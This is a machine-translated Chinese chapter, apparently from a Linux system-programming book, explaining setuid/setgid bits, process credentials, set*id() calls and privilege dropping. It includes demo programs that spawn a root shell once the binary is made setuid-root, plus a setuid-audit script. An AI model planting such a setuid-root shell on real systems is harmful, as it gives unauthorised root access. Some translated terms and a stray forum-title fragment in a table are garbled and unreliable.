-到目前为止,您可能已经想好了,但是我到底应该如何设置这些特殊权限位呢? - -这很简单:使用`chmod(1)`命令(或系统调用);此表显示了如何使用 chmod 命令设置`setuid/setgid`权限位: - -| 发帖主题:Re:Колибри0.7.0 | **setuid**的符号 | **setgid**的符号 | -| 符号记法 | `u+s` | `g+s` | -| 八进制记数法 | `4 (eg. 4755)` | `2 (eg. 2755)` | - -以一个简单的`Hello, world`C 程序为例,对其进行编译: - -```sh -gcc hello.c -o hello -``` - -现在,我们设置 setuid 位,然后将其删除,并改为设置 setgid 位(在一个操作中:通过`u-s,g+s`参数设置 chmod),然后删除 setgid 位,同时长时间列出二进制可执行文件,以便可以看到权限: - -```sh -$ ls -l hello --rwxrwxr-x 1 seawolf seawolf 8336 Feb 17 19:02 hello -$ chmod u+s hello ; ls -l hello --rwsrwxr-x 1 seawolf seawolf 8336 Feb 17 19:02 hello -$ chmod u-s,g+s hello ; ls -l hello --rwxrwsr-x 1 seawolf seawolf 8336 Feb 17 19:02 hello -$ chmod g-s hello ; ls -l hello --rwxrwxr-x 1 seawolf seawolf 8336 Feb 17 19:02 hello -$ -``` - -(因为这个`Hello, world`程序只是简单地打印到 stdout,没有其他内容,setuid/setgid 位没有任何影响。) - -# 黑客攻击尝试 1 - -好了,好了,关于 setuid root 的讨论不是很有趣吗! 对于你这个像黑客一样思考的读者(对你有好处!),为什么不这样做来获得终极奖品,一个根壳! - -* 编写一个 C 程序来生成一个 shell(`system(3)`库 API 使这变得微不足道);我们称代码为`rootsh_hack1.c`。 我们想要一个根壳作为结果! -* 编译它,获得`a.out`。如果我们现在运行`a.out`,没什么大不了的;我们会得到一个与我们已经拥有的特权相同的 shell。 因此,不妨试试这个: - * 使用`chmod(1)`更改权限以设置`setuid`位。 - * 使用`a.out`的`chown(1)`将所有权更改为 root。 - * 运行它:我们现在应该得到一个根 shell。 - -哇!。 让我们试试这个吧! - -代码很简单(我们在这里不显示标题包含)*:* - -```sh -$ cat rootsh_hack1.c -[...] -int main(int argc, char **argv) -{ - /* Just spawn a shell. - * If this process runs as root, - * then, Evil Laugh, we're now root! - */ - system("/bin/bash"); - exit (EXIT_SUCCESS); -} -``` - -现在编译并运行: - -```sh -$ gcc rootsh_hack1.c -Wall -$ ls -l a.out --rwxrwxr-x 1 seawolf seawolf 8344 Feb 20 10:15 a.out -$ ./a.out -seawolf@seawolf-mindev:~/book_src/ch7$ id -u -1000 -seawolf@seawolf-mindev:~/book_src/ch7$ exit -exit -$ -``` - -正如预期的那样,当在没有特殊的`set[u|g]id`权限位的情况下运行时,a.out 进程以普通权限运行,在相同的所有权(Seawolf)下生成一个 shell-这正是`id -u`命令所证明的。 - -现在,我们尝试我们的黑客攻击: - -```sh -$ chmod u+s a.out -$ ls -l a.out --rwsrwxr-x 1 seawolf seawolf 8344 Feb 20 10:15 a.out -$ -``` - -啊,真灵!。 好了,不要太兴奋:我们让它成为 setuid 二进制文件,但所有者仍然是`seawolf`;所以在运行时不会有任何不同:进程 EUID 将成为二进制可执行文件的所有者-`seawolf`本身: - -```sh -$ ./a.out -seawolf@seawolf-mindev:~/book_src/ch7$ id -u -1000 -seawolf@seawolf-mindev:~/book_src/ch7$ exit -exit -$ -``` - -嗯。 是的,所以我们现在需要做的是将所有者设为根: - -```sh -$ chown root a.out -chown: changing ownership of 'a.out': Operation not permitted -$ -``` - -抱歉打破你的泡沫,初出茅庐的黑客:这行不通。 这就是安全性;使用`chown(1)`,您只能更改您拥有的文件(或对象)的所有权,而且,您猜怎么着? 只给你自己的账户! 只有 root 可以使用`chown`将对象的所有权设置给其他任何人。 - -这在安全方面是有意义的。 它甚至走得更远;请注意:我们将成为 root 并运行到`chown`(当然只需`sudo`): - -```sh -$ sudo chown root a.out -[sudo] password for seawolf: xxx -$ ls -l a.out --rwxrwxr-x 1 root seawolf 8344 Feb 20 10:15 a.out* -$ -``` - -你注意到了吗? 即使`chown`成功,setuid 位也被清除了!这就是安全性。 - -好的,让我们通过在 root 拥有的 a.out 文件上手动设置 setuid 位来颠覆这一点(请注意,除非我们已经拥有 root 访问权限或密码,否则这甚至是不可能的): - -```sh -$ sudo chmod u+s a.out -$ ls -l a.out --rwsrwxr-x 1 root seawolf 8344 Feb 20 10:15 a.out -$ -``` - -阿!。 现在它是一个 setuid-root 二进制可执行文件(确实,您在这里看不到它,但是 a.out 的颜色变成了红色)。 没人能阻止我们! 看看这个: - -```sh -$ ./a.out -seawolf@seawolf-mindev:~/book_src/ch7$ id -u -1000 -seawolf@seawolf-mindev:~/book_src/ch7$ exit -exit -$ -``` - -生成的 shell 的(R)UID 为 1000,而不是 0。发生了什么? - -这真是个惊喜! 即使有根所有权和 setuid 位,我们也没有得到根 shell。为什么呢? 当然,出于安全性考虑:当通过`system(3)`运行时,现代版本的 bash 拒绝在启动时以 root 身份运行。 此屏幕截图显示了`system(3)`手册页的相关部分-显示了我们正在讨论的警告([http://man7.org/linux/man-pages/man3/system.3.html](http://man7.org/linux/man-pages/man3/system.3.html)): - -![](img/9f6be597-f178-489f-9896-f946f56b8a9a.png) - -第二段对此进行了总结: - -```sh -... as a security measure, bash 2 drops privileges on startup. -``` - -# 系统调用 - -我们从前面的讨论中了解到,每个活动的进程都有一组四个整数值,它们有效地确定了它的特权、真实有效的用户和组 ID;它们被称为进程凭证。 - -如前所述,我们将它们称为{RUID,EUID,RGID,EGID}。 - -有效 ID 以粗体显示,以重申这样一个事实:当实际 ID 标识原始所有者和组时,当涉及到实际检查权限时,内核使用有效 ID。 - -进程凭证存储在哪里? 操作系统将此信息作为相当大的进程属性数据结构(当然是针对每个进程)的一部分保存;它位于内核内存空间中。 - -On Unix, this per-process data structure is called the **Process Control Block** (**PCB**); on Linux, it's called the process descriptor or, simply, the task structure. - -关键是:如果数据在内核地址空间中,那么获取它(查询或设置)的唯一方法当然是通过系统调用。 - -# 查询进程凭证 - -如何以编程方式(在 C 程序中)查询真实有效的 UID/GID? 以下是执行此操作的系统调用: - -```sh -#include -#include - -uid_t getuid(void); -uid_t geteuid(void); - -gid_t getgid(void); -gid_t getegid(void); -``` - -这很简单: - -* `getuid(2)`返回真实的 UID;`geteuid(2)`返回有效的 UID -* `getgid(2)`返回真实的 GID;*`getegid(2)`返回有效的 GID -* `uid_t`和`gid_t`是无符号整数的 glibc 类型定义 - -Here is a neat tip to figure out the typedef for any given data type: you will need to know the header file that contains the definition. Just do this: - -`$ echo | gcc -E -xc -include 'sys/types.h' - | grep uid_t` -`typedef unsigned int __uid_t;` -`typedef __uid_t uid_t;` -`$` - -Credit*:* [https://stackoverflow.com/questions/2550774/what-is-size-t-in-c](https://stackoverflow.com/questions/2550774/what-is-size-t-in-c). - -出现了一个问题:前面的系统调用不带任何参数;它们返回真实或有效的[U|G]ID,是的,但是针对哪个进程呢? 当然,答案是调用进程,也就是发出系统调用的进程。 - -# 代码示例 - -我们编写一个简单的 C 程序(`ch7/query_creds.c`);运行时,它将打印到标准输出其进程凭证(我们显示了相关代码): - -```sh -#define SHOW_CREDS() do { \ - printf("RUID=%d EUID=%d\n" \ - "RGID=%d EGID=%d\n", \ - getuid(), geteuid(), \ - getgid(), getegid()); \ -} while (0) - -int main(int argc, char **argv) -{ - SHOW_CREDS(); - if (geteuid() == 0) { - printf("%s now effectively running as root! ...\n", argv[0]); - sleep(1); - } - exit (EXIT_SUCCESS); -} -``` - -构建并试用它: - -```sh -$ ./query_creds -RUID=1000 EUID=1000 -RGID=1000 EGID=1000 -$ sudo ./query_creds -[sudo] password for seawolf: xxx -RUID=0 EUID=0 -RGID=0 EGID=0 -./query_creds now effectively running as root! ... -$ -``` - -请注意以下事项: - -* 在第一次运行时,四个进程凭证值是通常的值(在我们的示例中为 1000)。 另外,请注意在默认情况下 EUID=RUID 和 EGID=RGID。 -* 但是在第二次运行时,我们`sudo`发现:一旦我们获得了正确的密码,进程就会以 root 用户身份运行,当然可以在这里看到:四个进程凭证值现在都是反映 root 权限的零。 - -# 数独--它是如何工作的 - -*`sudo(8)`实用程序允许您以另一个用户的身份运行程序;如果没有进一步的限制,该另一个用户就是超级用户。 当然,为了安全起见,您必须正确输入 root 密码(或者,如果用户属于一个名为 sudo 的组,则由于几个发行版都支持桌面计算,所以必须正确输入用户自己的密码)。 - -这就引出了一个非常有趣的问题:“无所不能`sudo(8)`”程序到底是如何工作的? 这比你想象的要简单! 请参阅以下代码: - -```sh -$ which sudo -/usr/bin/sudo -$ ls -l $(which sudo) --rwsr-xr-x 1 root root 145040 Jun 13 2017 /usr/bin/sudo -$ -``` - -我们注意到,二进制可执行文件 sudo 实际上是一个 setuid-root 程序! 因此,想想看:无论何时使用 sudo 运行程序,sudo 进程都会立即以 root 特权运行--没有密码,也不用大惊小怪。 但是,当然,为了安全起见,用户必须输入密码;一旦输入正确,sudo 就会继续执行,并以 root 用户身份执行您想要执行的命令。 如果用户未能正确输入密码(通常在三次尝试内),sudo 将中止执行。 - -# 什么是保存集 ID? - -所谓的保存集 ID 是一个方便的特性;操作系统能够保存进程的初始有效用户 ID(EUID)值。 这有什么用呢? 这允许我们从进程开始时的原始 EUID 值切换到(比方说)非特权正常值(我们将在稍后详细介绍),然后从当前特权状态切换回保存的 EUID 值(通过`seteuid(2)`系统调用);因此,最初保存的 EUID 称为**保存集 ID**。 - -实际上,我们可以根据需要在特权和非特权状态之间来回切换我们的进程! - -在我们介绍了更多的材料之后,一个例子将帮助我们把事情弄清楚。 - -# 设置进程凭证 - -我们知道,从 shell 中可以方便地查找我们当前运行的对象,即运行简单的`id(1)`命令;它显示真实的 UID 和真实的 GID(以及我们所属的所有补充组)。 正如我们前面所做的,让我们在以用户`seawolf`身份登录时尝试一下: - -```sh -$ id -uid=1000(seawolf) gid=1000(seawolf) groups=1000(seawolf),4(adm),24(cdrom),27(sudo), [...] -$ -``` - -再次考虑`sudo(8)`实用程序;要以另一个用户而不是超级用户身份运行程序,我们可以使用`-u`或`--user=`切换到`sudo`。 例如,让我们以用户`mail`的身份运行`id(1)`程序: - -```sh -$ sudo -u mail id -[sudo] password for seawolf: xxx -uid=8(mail) gid=8(mail) groups=8(mail) -$ -``` - -不出所料,一旦我们提供了正确的密码,`sudo`就会以邮件用户的身份运行`id`程序,而 id 的输出现在向我们展示了(真实的)用户和组 ID 现在就是邮件用户帐户的 ID 了! (不是 Seawolf),正是预期的效果。 - -但是`sudo(8)`是如何做到这一点的呢? 我们从上一节中了解到,当您运行 ssudo(使用任何参数)时,它(至少在开始时)总是以 root 用户身份运行。 现在的问题是,它如何使用另一个用户帐户的凭证运行? - -答案是:有几个系统调用允许您更改进程权限(RUID、EUID、RGID、EGID):`setuid(2)`、`seteuid(2)`、`setreuid(2)`、`setresuid(2)`以及它们与 GID 的所有类似项。 - -让我们快速了解一下 API 签名: - -```sh -#include -#include - -int setuid(uid_t uid); -int setgid(gid_t gid); - -int seteuid(uid_t euid); -int setegid(gid_t egid); - -int setreuid(uid_t ruid, uid_t euid); -int setregid(gid_t rgid, gid_t egid); -``` - -`setuid(2)`系统调用允许进程将其 EUID 设置为传递的值。 如果进程具有 root 权限(在下一章后面,当我们了解 POSIX 功能模型时,我们将更好地限定这类语句),那么 Ruid 和 saved-setuid(稍后解释)也将设置为此值。 - -所有的`set*gid()`调用都类似于它们的 UID 对应调用。 - -On the Linux OS, the seteuid and setegid APIs, though documented as system calls, are actually wrappers over the `setreuid(2)` and `setregid(2)` system calls. - -# 黑客企图 2 - -啊,黑客! 好吧,至少让我们试一试吧。 - -我们知道`EUID 0`是一个特殊的值--它意味着我们拥有 root 特权。我想一想--我们有一个参数 setuid(2)系统调用。 所以,即使我们没有特权,为什么不快速 - -`setuid(0);`获得特权,然后以超级用户身份被砍掉! - -嗯,如果上面的攻击真的起作用,Linux 就不会是一个非常强大和流行的操作系统。 这是行不通的,伙计们:上面的系统调用将失败,返回`-1`;`errno`将被设置为`EPERM`,错误消息(来自`perror(3)`或`strerror(3)`)将是:不允许操作。 - -这是为什么? 内核中有一条简单的规则:没有特权的进程可以将其有效 ID 设置为其真实 ID-不允许使用其他值。 换言之,非特权进程可以设置为以下各项: - -* 它的欧盟 ID 到它的规则 -* 其 EGID 与其 RGID - -就这样。 - -当然,(根)特权进程可以将其四个凭证设置为它选择的任何值。 这并不令人惊讶--这是根的力量的一部分。 - -The `seteuid(2)` sets the process effective userid to the value passed; for an unprivileged process, it can only set its EUID to its RUID, the EUID, or the saved setuid. - -The `setreuid(2)` sets the real and effective UIDs to the values passed respectively; if `-1` is passed, the corresponding value is left untouched. (This can indirectly affect the saved-set value.) The `set[r]egid(2)` calls are identical with respect to the group IDs. - -让我们实事求是地试一试我们刚刚谈到的: - -```sh -$ cat rootsh_hack2.c -[...] -int main(int argc, char **argv) -{ - /* Become root */ - if (setuid(0) == -1) - WARN("setuid(0) failed!\n"); - - /* Now just spawn a shell; - * Evil Laugh, we're now root! - */ - system("/bin/bash"); - exit (EXIT_SUCCESS); -} -``` - -构建并运行它。 此屏幕截图向我们显示了一个虚拟机 Seawolf,以及右下角的`ssh`连接的终端窗口(我们以 Seawolf 用户身份登录到该窗口);请参见在那里运行的`rootsh_hack2`程序: - -![](img/d3dee453-cdca-432e-a761-cb3fe1bfbcc6.png) - -研究前面屏幕截图中的`ssh`终端窗口的输出,我们可以看到以下内容: - -* 原始 bash 进程(外壳)具有 PID 6012。 -* Id 命令显示我们以(真正的)uid=1000(这是 Seawolf 用户)身份运行。 -* 我们运行`rootsh_hack2`;显然,`setuid(0)`失败;显示错误消息:不允许操作。 -* 不过,这只是一条警告消息;执行会继续,该过程会产生另一个 bash 进程,实际上就是另一个 shell。 -* 它的 PID 为 6726(证明它与原始外壳是独一无二的)。 -* Id(1)仍然是 1000,证明我们没有真正取得任何有意义的成就。 -* 我们退出,回到原来的外壳。 - -但是,如果我们(或者更糟糕的是,黑客)可以欺骗该进程以超级用户身份运行,会发生什么呢? 多么?。 当然,通过将其设置为一个 setuid-root 可执行文件;那么我们就有麻烦了: - -```sh -$ ls -l rootsh_hack2 --rwxrwxr-x 1 seawolf seawolf 8864 Feb 19 18:03 rootsh_hack2 -$ sudo chown root rootsh_hack2 -[sudo] password for seawolf: -$ sudo chmod u+s rootsh_hack2 -$ ls -l rootsh_hack2 --rwsrwxr-x 1 root seawolf 8864 Feb 19 18:03 rootsh_hack2 -$ ./rootsh_hack2 -root@seawolf-mindev:~/book_src/ch7# id -u -0 -root@seawolf-mindev:~/book_src/ch7# ps - PID TTY TIME CMD - 7049 pts/0 00:00:00 rootsh_hack2 - 7050 pts/0 00:00:00 sh - 7051 pts/0 00:00:00 bash - 7080 pts/0 00:00:00 ps -root@seawolf-mindev:~/book_src/ch7# exit -exit -$ -``` - -因此,我们只是模拟被欺骗:在这里我们使用 sudo(8);然后我们输入密码,从而将二进制可执行文件更改为 setuid-root,这是一个真正危险的根文件。 它运行,并产生现在被证明是根 shell 的东西(请注意,`id(1)`命令证明了这一点);我们先执行`ps`,然后执行`exit`。 - -我们还意识到,我们之前的黑客尝试失败了-当 shell 是要运行的参数时,System(3)API 拒绝提升权限-这在安全方面是很好的。 但是,这一黑客企图(#2)证明您可以很容易地颠覆这一点:只需在调用 system(`/bin/bash`)之前向`setuid(0)`发出一个调用,它就会成功交付一个根 shell--当然,前提是进程首先以 root 身份运行:通过 setuid-root 方法或者只使用 sudo(8)。 - -# 用于标识已安装程序的 setuid-root 和 setgid 的脚本 - -我们现在开始明白,这些`setuid/setgid`程序可能很方便,但从安全角度来看,它们可能存在潜在危险,必须仔细审计。 此类审计的第一步是找出这些二进制文件是否存在以及在 Linux 系统上的确切位置。 - -为此,我们编写了一个小的 shell(Bash)脚本;它将识别并显示系统上安装的`setuid-root`和`setgid`程序(通常,您可以从图书的 Git 存储库中下载并试用该脚本)。 - -该脚本基本上执行其工作,如下所示(它实际上循环遍历一组目录;为简单起见,我们展示了扫描`/bin`目录的直接示例): - -```sh - echo "Scanning /bin ..." - ls -l /bin/ | grep "^-..s" | awk '$3=="root" {print $0}' -``` - -`ls -l`的输出被输送到`grep(1)`,如果第一个字符是`-`(正则文件),并且所有者执行位是 s(即 setuid 文件),则它使用正则表达式来匹配字符串;`awk(1)`过滤器确保只有当所有者是 root 时,我们才会将结果字符串打印到 stdout。 - -我们在两个 Linux 发行版上运行 bash 脚本。 - -在 x86_64 上的 Ubuntu17.10: - -```sh -$ ./show_setuidgid.sh ------------------------------------------------------------------- -System Information (LSB): ------------------------------------------------------------------- -No LSB modules are available. -Distributor ID: Ubuntu -Description: Ubuntu 17.10 -Release: 17.10 -Codename: artful -kernel: 4.13.0-32-generic ------------------------------------------------------------------- -Scanning various directories for (traditional) SETUID-ROOT binaries ... ------------------------------------------------------------------- -Scanning /bin ... --rwsr-xr-x 1 root root 30800 Aug 11 2016 fusermount --rwsr-xr-x 1 root root 34888 Aug 14 2017 mount --rwsr-xr-x 1 root root 146128 Jun 23 2017 ntfs-3g --rwsr-xr-x 1 root root 64424 Mar 10 2017 ping --rwsr-xr-x 1 root root 40168 Aug 21 2017 su --rwsr-xr-x 1 root root 26696 Aug 14 2017 umount ------------------------------------------------------------------- -Scanning /usr/bin ... --rwsr-xr-x 1 root root 71792 Aug 21 2017 chfn --rwsr-xr-x 1 root root 40400 Aug 21 2017 chsh --rwsr-xr-x 1 root root 75344 Aug 21 2017 gpasswd --rwsr-xr-x 1 root root 39944 Aug 21 2017 newgrp --rwsr-xr-x 1 root root 54224 Aug 21 2017 passwd --rwsr-xr-x 1 root root 145040 Jun 13 2017 sudo --rwsr-xr-x 1 root root 18448 Mar 10 2017 traceroute6.iputils ------------------------------------------------------------------- -Scanning /sbin ... ------------------------------------------------------------------- -Scanning /usr/sbin ... ------------------------------------------------------------------- -Scanning /usr/local/bin ... ------------------------------------------------------------------- -Scanning /usr/local/sbin ... ------------------------------------------------------------------- - -Scanning various directories for (traditional) SETGID binaries ... ------------------------------------------------------------------- -Scanning /bin ... ------------------------------------------------------------------- -Scanning /usr/bin ... --rwxr-sr-x 1 root tty 14400 Jul 27 2017 bsd-write --rwxr-sr-x 1 root shadow 62304 Aug 21 2017 chage --rwxr-sr-x 1 root crontab 39352 Aug 21 2017 crontab --rwxr-sr-x 1 root shadow 22808 Aug 21 2017 expiry --rwxr-sr-x 1 root mlocate 38992 Apr 28 2017 mlocate --rwxr-sr-x 1 root ssh 362640 Jan 16 18:58 ssh-agent --rwxr-sr-x 1 root tty 30792 Aug 14 2017 wall ------------------------------------------------------------------- -Scanning /sbin ... --rwxr-sr-x 1 root shadow 34816 Apr 22 2017 pam_extrausers_chkpwd --rwxr-sr-x 1 root shadow 34816 Apr 22 2017 unix_chkpwd ------------------------------------------------------------------- -Scanning /usr/sbin ... ------------------------------------------------------------------- -Scanning /usr/local/bin ... ------------------------------------------------------------------- -Scanning /usr/local/sbin ... ------------------------------------------------------------------- -$ -``` - -将显示一个系统信息横幅(以便我们可以收集系统详细信息,这些详细信息主要是使用`lsb_release`实用程序获得的)。 然后,该脚本扫描各个系统目录,打印出它找到的所有`setuid-root`和`setgid`二进制文件。 突出显示了熟悉的例子`passwd`和`sudo`。 - -# Setgid 示例-wall - -作为`setgid`二进制文件的一个很好的例子,我们来看一下 wall(1)实用程序,为了方便起见,它是从脚本的输出中复制出来的: - -```sh --rwxr-sr-x 1 root tty 30792 Aug 14 2017 wall -``` - -WALL(1)程序用于向所有用户控制台(TTY)设备广播任何消息(通常,系统 SAD 将执行此操作)。 现在,要写入`tty`设备(回忆一下,[第 1 章](01.html),*Linux 系统体系结构*,以及如果它不是一个进程,它是一个 Unix 哲学文件),我们需要什么权限? 我们以第二个终端`tty2`设备为例: - -```sh -$ ls -l /dev/tty2 -crw--w---- 1 root tty 4, 2 Feb 19 18:04 /dev/tty2 -$ -``` - -我们可以看到,要写入前面的设备,我们要么需要 root 用户,要么必须是`tty`组的成员。 再次查看 wall(1)实用程序的长列表;它是一个 setgid 二进制可执行文件,组成员是`tty`;因此,当任何人运行它时,wall 进程都会使用有效的组 ID(EGID)`tty`运行! 这就解决了问题--没有代码。 别大惊小怪的。 - -以下是使用 WALL 的截图: - -![](img/a0736e00-379a-4550-8e77-0709bca6be26.png) - -在前台,有一个`ssh`连接(连接到 Ubuntu VM;您可以在后台看到它)终端窗口。 它以普通用户的身份发出`wall`命令:因为有了`setgid tty`*,*它才能工作! - -现在,您可以在 x86_64 上的 Fedora 27 上运行前面的脚本: - -```sh -$ ./show_setuidgid.sh 1 ------------------------------------------------------------------- -System Information (LSB): ------------------------------------------------------------------- -LSB Version: :core-4.1-amd64:core-4.1-noarch -Distributor ID: Fedora -Description: Fedora release 27 (Twenty Seven) -Release: 27 -Codename: TwentySeven -kernel: 4.14.18-300.fc27.x86_64 ------------------------------------------------------------------- -Scanning various directories for (traditional) SETUID-ROOT binaries ... ------------------------------------------------------------------- -Scanning /bin ... ------------------------------------------------------------------- -Scanning /usr/bin ... --rwsr-xr-x. 1 root root 52984 Aug 2 2017 at --rwsr-xr-x. 1 root root 73864 Aug 14 2017 chage --rws--x--x. 1 root root 27992 Sep 22 14:07 chfn --rws--x--x. 1 root root 23736 Sep 22 14:07 chsh --rwsr-xr-x. 1 root root 57608 Aug 3 2017 crontab --rwsr-xr-x. 1 root root 32040 Aug 7 2017 fusermount --rwsr-xr-x. 1 root root 31984 Jan 12 20:36 fusermount-glusterfs --rwsr-xr-x. 1 root root 78432 Aug 14 2017 gpasswd --rwsr-xr-x. 1 root root 36056 Sep 22 14:07 mount --rwsr-xr-x. 1 root root 39000 Aug 14 2017 newgidmap --rwsr-xr-x. 1 root root 41920 Aug 14 2017 newgrp --rwsr-xr-x. 1 root root 39000 Aug 14 2017 newuidmap --rwsr-xr-x. 1 root root 27880 Aug 4 2017 passwd --rwsr-xr-x. 1 root root 27688 Aug 4 2017 pkexec --rwsr-xr-x. 1 root root 32136 Sep 22 14:07 su ----s--x--x. 1 root root 151416 Oct 4 18:55 sudo --rwsr-xr-x. 1 root root 27880 Sep 22 14:07 umount ------------------------------------------------------------------- -Scanning /sbin ... ------------------------------------------------------------------- -Scanning /usr/sbin ... --rwsr-xr-x. 1 root root 114840 Jan 19 23:25 mount.nfs --rwsr-xr-x. 1 root root 89600 Aug 4 2017 mtr --rwsr-xr-x. 1 root root 11256 Aug 21 2017 pam_timestamp_check --rwsr-xr-x. 1 root root 36280 Aug 21 2017 unix_chkpwd --rws--x--x. 1 root root 40352 Aug 5 2017 userhelper --rwsr-xr-x. 1 root root 11312 Jan 2 21:06 usernetctl ------------------------------------------------------------------- -Scanning /usr/local/bin ... ------------------------------------------------------------------- -Scanning /usr/local/sbin ... ------------------------------------------------------------------- - -Scanning various directories for (traditional) SETGID binaries ... ------------------------------------------------------------------- -Scanning /bin ... ------------------------------------------------------------------- -Scanning /usr/bin ... --rwxr-sr-x. 1 root cgred 15640 Aug 3 2017 cgclassify --rwxr-sr-x. 1 root cgred 15600 Aug 3 2017 cgexec --rwx--s--x. 1 root slocate 40528 Aug 4 2017 locate --rwxr-sr-x. 1 root tty 19584 Sep 22 14:07 write ------------------------------------------------------------------- -Scanning /sbin ... ------------------------------------------------------------------- -Scanning /usr/sbin ... --rwx--s--x. 1 root lock 15544 Aug 4 2017 lockdev --rwxr-sr-x. 1 root root 7144 Jan 2 21:06 netreport ------------------------------------------------------------------- -Scanning /usr/local/bin ... ------------------------------------------------------------------- -Scanning /usr/local/sbin ... ------------------------------------------------------------------- -$ -``` - -似乎出现了更多的 setuid-root 二进制文件;而且,`write(1)`是 Fedora 上的等价物(相当于`wall(1)`)`setgid tty`实用程序。 - -# 放弃特权 - -从前面的讨论来看,似乎`set*id()`个系统调用(`setuid(2)`、`seteuid(2)`、`setreuid(2)`、`setresuid(2)`)只对 root 有用,因为只有拥有 root 权限才能使用系统调用更改进程凭证。 嗯,这并不完全正确;对于非特权进程,还有另一个重要的案例。 - -请考虑这样的场景:我们的程序规范要求初始化代码以 root 权限运行;其余代码则不需要。 显然,我们不想仅仅为了运行我们的程序而授予最终用户 root 访问权限。 我们怎么解决这个问题? - -将程序设置为 setuid-root 可以很好地完成此任务。 正如我们已经看到的,setuid-root 进程将始终以 root 用户身份运行;但是在初始化工作完成后,我们可以切换回非特权正常状态。 我们该怎么做呢? 通过`setuid(2)`:回想一下,特权进程的 setuid 将 EUID 和 RUID 都设置为传递的值;因此,我们向它传递进程的 Ruid,它是通过 getuid: - -```sh -setuid(getuid()); // make process unprivileged -``` - -这是一个有用的语义(通常,我们只需要`seteuid(getuid()`)。 我们用这个语义来重新成为我们的真实自我--很有哲理,不是吗? - -In **information security** (**infosec**) circles, there is an important principle followed: reduction of the attack surface. Converting a root privileged process to become non-privileged (once its work as root is done) helps toward this goal (to some extent at least). - -# 已保存-设置 UID-快速演示 - -在上一节中,我们刚刚看到了如何使用有用的`seteuid(getuid()`)语义将 setuid 特权进程切换到常规的非特权状态(这是良好的设计,也更安全)。 但是如果我们有这样的要求呢: - -```sh -Time t0: initialization code: must run as root -Time t1: func1(): must *not* run as root -Time t2: func2(): must run as root -Time t3: func3(): must *not* run as root -[...] -``` - -为了最初实现必须作为根运行的语义,我们当然可以将程序创建为 setuid-root 程序。 然后,在时间 t1,我们发出`setuid(getuid()`)放弃根权限。 - -但是,我们如何在时间 t2 重新获得 root 权限呢? 啊,这就是 save-setuid 功能变得宝贵的地方。 更重要的是,这很容易做到;下面是实现此场景的伪代码: - -```sh -t0: we are running with root privilege due to *setuid-root* binary - executable being run - saved_setuid = geteuid() // save it -t1: seteuid(getuid()) // must *not* run as root -t2: seteuid(saved_setuid) // switch back to the saved-set, root -t3: seteuid(getuid()) // must *not* run as root -``` - -接下来,我们将用实际的 C 代码演示这一点。 请注意,要使演示按预期运行,用户必须通过执行以下操作将二进制可执行文件转换为 setuid-root 二进制文件: - -```sh -make savedset_demo -sudo chown root savedset_demo -sudo chmod u+s savedset_demo -``` - -以下代码将在开始时检查进程是否确实以 root 用户身份运行;如果不是,它将中止,并显示一条消息,要求用户将二进制文件设置为 setuid-root 二进制文件: - -```sh -int main(int argc, char **argv) -{ - uid_t saved_setuid; - - printf("t0: Init:\n"); - SHOW_CREDS(); - if (0 != geteuid()) - FATAL("Not a setuid-root executable," - " aborting now ...\n" - "[TIP: do: sudo chown root %s ;" - " sudo chmod u+s %s\n" - " and rerun].\n" - , argv[0], argv[0], argv[0]); - printf(" Ok, we're effectively running as root! (EUID==0)\n"); - - /* Save the EUID, in effect the "saved set UID", so that - * we can switch back and forth - */ - saved_setuid = geteuid(); - - printf("t1: Becoming my original self!\n"); - if (seteuid(getuid()) == -1) - FATAL("seteuid() step 2 failed!\n"); - SHOW_CREDS(); - - printf("t2: Switching to privileged state now...\n"); - if (seteuid(saved_setuid) == -1) - FATAL("seteuid() step 3 failed!\n"); - SHOW_CREDS(); - if (0 == geteuid()) - printf(" Yup, we're root again!\n"); - - printf("t3: Switching back to unprivileged state now ...\n"); - if (seteuid(getuid()) == -1) - FATAL("seteuid() step 4 failed!\n"); - SHOW_CREDS(); - - exit (EXIT_SUCCESS); -} -``` - -以下是一个示例运行: - -```sh -$ make savedset_demo -gcc -Wall -o savedset_demo savedset_demo.c common.o -#sudo chown root savedset_demo -#sudo chmod u+s savedset_demo -$ ls -l savedset_demo --rwxrwxr-x 1 seawolf seawolf 13144 Feb 20 09:22 savedset_demo* -$ ./savedset_demo -t0: Init: -RUID=1000 EUID=1000 -RGID=1000 EGID=1000 -FATAL:savedset_demo.c:main:48: Not a setuid-root executable, aborting now ... -[TIP: do: sudo chown root ./savedset_demo ; sudo chmod u+s ./savedset_demo - and rerun]. -$ -``` - -该程序会失败,因为它在开始时检测到它没有以 root 用户身份有效运行,这意味着它从一开始就不是 setuid-root 二进制可执行文件。 所以,当然,我们必须让它成为 setuid-root 二进制可执行文件,方法是先执行`sudo chown ...`,然后执行`sudo chmod ...`。 (请注意,我们如何将代码保留在 Makefile 中,但已将其注释掉,以便读者可以进行一些练习)。 - -此屏幕截图显示,一旦我们这样做,它就会按预期运行,在特权和非特权状态之间来回切换: - -![](img/fda744b4-4daa-439c-b624-92f428e976c7.png) - -请注意,来回切换的真正关键的系统调用毕竟是参数 setuid(2);您还会注意到 EUID 在不同时间点的变化(从 t0 的 0 到 t1 的 1000,再到 t2 的 0,最后回到 t3 的 1000)。 - -Also note that, to provide interesting examples, we have been mostly using setuid-root binaries. You need not: making the file owner someone else (such as the mail user) would then in effect make it a setuid-mail binary executable, meaning that, when run, the process RUID would be the usual 1000 (seawolf), but the EUID would be that of the mail user's RUID. - -# Setres[u|g]id(2)系统调用 - -下面是两个包装器调用-`setresuid(2)`和`setresgid(2)`;它们的签名: - -```sh -#define _GNU_SOURCE /* See feature_test_macros(7) */ -#include - -int setresuid(uid_t ruid, uid_t euid, uid_t suid); -int setresgid(gid_t rgid, gid_t egid, gid_t sgid); -``` - -这对系统调用就像前面`set*id()`API 的超集。 通过`setresuid(2)`系统调用,一个进程可以通过一个系统调用同时设置 RUID、EUID 和 SAVED-SET-ID(系统调用名称中的**res**分别代表**REAL**、**Effect**和**SAVED**-Set-ID)。 - -非特权(即非根)进程只能使用此系统调用将这三个 ID 设置为当前 RUID、当前 EUID 或当前保存集 UID 中的一个,而不能设置其他值(通常的安全原则在起作用)。 传递`-1`意味着保持相应的值不变。 当然,特权(根)进程可以使用该调用将这三个 ID 设置为任何值。 (通常,`setresgid(2)`系统调用是相同的,只是它设置了组凭证)。 - -现实世界中的一些 OSS 项目确实使用此系统调用;很好的例子是 OpenSSH 项目(Linux 端口称为 OpenSSH 可移植)和著名的 usudo(8)实用程序。 - -OpenSSH:从这里的 GIT 存储库:[https://github.com/openssh/openssh-portable/](https://github.com/openssh/openssh-portable/): - 